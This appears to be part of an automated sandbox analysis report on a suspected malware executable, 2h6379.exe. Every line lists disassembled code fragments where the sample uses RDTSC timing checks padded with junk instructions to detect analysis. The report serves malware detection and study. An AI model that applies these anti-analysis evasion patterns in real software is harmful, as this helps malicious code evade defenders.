Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107D7F9 second address: 107D838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FC110B5E098h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FC110B5E0A1h 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007FC110B5E096h 0x0000001b jmp 00007FC110B5E0A8h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107B859 second address: 107B861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107B861 second address: 107B869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107B869 second address: 107B86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107BAC7 second address: 107BAE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC110B5E0A6h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107BDF6 second address: 107BE11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Eh 0x00000007 jl 00007FC110C3B036h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107BE11 second address: 107BE19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107C44E second address: 107C46A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007FC110C3B036h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107CF60 second address: 107CF6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107CF6B second address: 107CF84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B043h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107CF84 second address: 107CF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jo 00007FC110B5E0ACh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107D50E second address: 107D513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107D513 second address: 107D51E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FC110B5E096h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107D51E second address: 107D532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B03Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1082B8A second address: 1082B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1082B95 second address: 1082B9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1082B9B second address: 1082BBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E0A6h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FC110B5E096h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1082BBD second address: 1082BE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Dh 0x00000007 js 00007FC110C3B036h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007FC110C3B036h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1082BE1 second address: 1082BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1082BE5 second address: 1082BF3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC110C3B036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1082BF3 second address: 1082BF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 109085B second address: 1090876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jnc 00007FC110C3B03Ch 0x0000000d jc 00007FC110C3B042h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 108EC2D second address: 108EC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 108F496 second address: 108F4A0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC110C3B046h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 108F90B second address: 108F90F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10906DD second address: 10906E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10906E4 second address: 10906EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10906EA second address: 1090703 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FC110C3B03Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10948DF second address: 10948EC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC110B5E096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10948EC second address: 1094909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B041h 0x00000009 jne 00007FC110C3B036h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 109AC3D second address: 109AC41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 109AC41 second address: 109AC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FC110C3B04Fh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 109AC68 second address: 109AC6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 109ADDE second address: 109ADE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 109ADE3 second address: 109ADE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 109ADE9 second address: 109ADEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 109C723 second address: 109C741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC110B5E096h 0x0000000a pop eax 0x0000000b jmp 00007FC110B5E0A3h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10A00EE second address: 10A00FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC110C3B036h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10A00FA second address: 10A00FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10A1700 second address: 10A1708 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10AE297 second address: 10AE29B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10AE29B second address: 10AE2B9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FC110C3B03Eh 0x0000000e jl 00007FC110C3B042h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10AE2B9 second address: 10AE2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10AE2BF second address: 10AE2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10AE2C3 second address: 10AE2CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10AE2CA second address: 10AE2D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10B044F second address: 10B0453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10B0453 second address: 10B0459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10BF226 second address: 10BF23F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E09Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10BF23F second address: 10BF253 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10BF253 second address: 10BF25A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10CD41B second address: 10CD421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10CDE2A second address: 10CDE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10CDE30 second address: 10CDE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10D14EA second address: 10D14EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10EF82B second address: 10EF83A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FC110C3B036h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10EF83A second address: 10EF850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FC110B5E09Ah 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10F28AE second address: 10F28C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B042h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10F28C8 second address: 10F28CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10F28CE second address: 10F28F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FC110C3B036h 0x0000000d jmp 00007FC110C3B047h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10F28F2 second address: 10F28F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10F2443 second address: 10F2449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10F2449 second address: 10F2460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jns 00007FC110B5E096h 0x0000000c jmp 00007FC110B5E09Ah 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10F2460 second address: 10F2477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Eh 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110AE07 second address: 110AE0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110AE0D second address: 110AE31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FC110C3B049h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110AE31 second address: 110AE35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110B500 second address: 110B506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110B941 second address: 110B96C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 jng 00007FC110B5E096h 0x0000000b pop ebx 0x0000000c jg 00007FC110B5E0A8h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110D26F second address: 110D28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B044h 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110FEDB second address: 110FEE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FC110B5E096h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110FF7A second address: 110FF90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnp 00007FC110C3B036h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110FF90 second address: 110FF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 110FF95 second address: 110FFC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a xor dword ptr [ebp+122D3020h], esi 0x00000010 push 00000004h 0x00000012 mov edx, dword ptr [ebp+122D3C6Ah] 0x00000018 push ebx 0x00000019 add dword ptr [ebp+122D278Ah], ecx 0x0000001f pop edx 0x00000020 push 68857D55h 0x00000025 push ecx 0x00000026 push esi 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1113A3E second address: 1113A42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101A933 second address: 101A948 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 js 00007FC110C3B048h 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FC110C3B036h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101A948 second address: 101A94C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52B036D second address: 52B0373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52B0373 second address: 52B0377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E035C second address: 52E03AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC110C3B03Eh 0x00000009 sub ecx, 25DC31B8h 0x0000000f jmp 00007FC110C3B03Bh 0x00000014 popfd 0x00000015 mov ax, 45EFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007FC110C3B042h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FC110C3B03Dh 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E03AC second address: 52E03B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E03B2 second address: 52E03D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 563BF819h 0x00000008 mov al, FCh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FC110C3B041h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E03D9 second address: 52E03EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E03EC second address: 52E03F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E03F2 second address: 52E0434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FC110B5E09Ch 0x0000000e mov dword ptr [esp], ecx 0x00000011 jmp 00007FC110B5E0A0h 0x00000016 xchg eax, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC110B5E0A7h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E0434 second address: 52E044C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC110C3B044h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E044C second address: 52E0464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC110B5E09Dh 0x00000010 rdtsc
